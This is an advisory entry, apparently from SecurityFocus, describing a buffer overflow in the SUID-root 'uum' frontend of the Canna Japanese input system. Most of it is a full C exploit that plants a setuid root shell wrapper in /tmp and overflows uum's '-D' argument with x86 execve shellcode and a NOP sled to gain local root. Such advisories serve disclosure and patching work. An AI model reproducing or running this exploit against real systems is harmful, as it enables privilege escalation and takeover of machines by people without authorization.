// source: https://www.securityfocus.com/bid/757/info
Canna is a Japanese input system available as free software. Canna provides a unified user interface for inputting Japanese.
Canna supports Nemacs(Mule), kinput2 and canuum. All of these tools can be used by a single customization file, romanji-to-kana conversion rules and conversion dictionaries, and input Japanese in the same way.
Canna converts kana to kanji based on a client-server model and supports automatic kana-to-kanji conversion.
The Canna subsystem on certain UNIX versions contains a buffer overflow in the 'uum' program. Uum is a Japanese input tty frontend for Canna. Regrettably, certain versions are vulnerable to a buffer overflow attack via unchecked user supplied data with the '-D' option. Since 'uum' is installed as SUID root this may result in a root level compromise.
/*=============================================================================
/usr/bin/uum Exploit for Linux
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by
UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdlib.h>
#include <stdio.h>
#define RET_ADR 84
#define EXP_ADR 204
#define MAXBUF 300
#define JMP_OFS 0x484
#define NOP 0x90
#define SHELL "/tmp/pp"
#define COMPILER "gcc"
char exec[60]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff";
char xx[MAXBUF+1];
unsigned int i,ip,sp;
FILE *fp;
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
main()
{
strcat(exec,SHELL);
sprintf(xx,"%s.c",SHELL);
if ((fp=fopen(xx,"w"))==NULL){
printf("Can not write to %s\n",xx);
exit(1);
}
fprintf(fp,"main(){setuid(0);setgid(0);system(\"/bin/sh\");}");
fclose(fp);
sprintf(xx,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
system(xx);
sp=get_sp();
memset(xx,NOP,MAXBUF);
ip=sp-JMP_OFS;
printf("Jumping address = %x\n",ip);
xx[RET_ADR ]=ip&0xff;
xx[RET_ADR+1]=(ip>>8)&0xff;
xx[RET_ADR+2]=(ip>>16)&0xff;
xx[RET_ADR+3]=(ip>>24)&0xff;
strncpy(xx+EXP_ADR,exec,strlen(exec));
xx[MAXBUF]=0;
execl("/usr/bin/uum","uum","-D",xx,(char *) 0);
}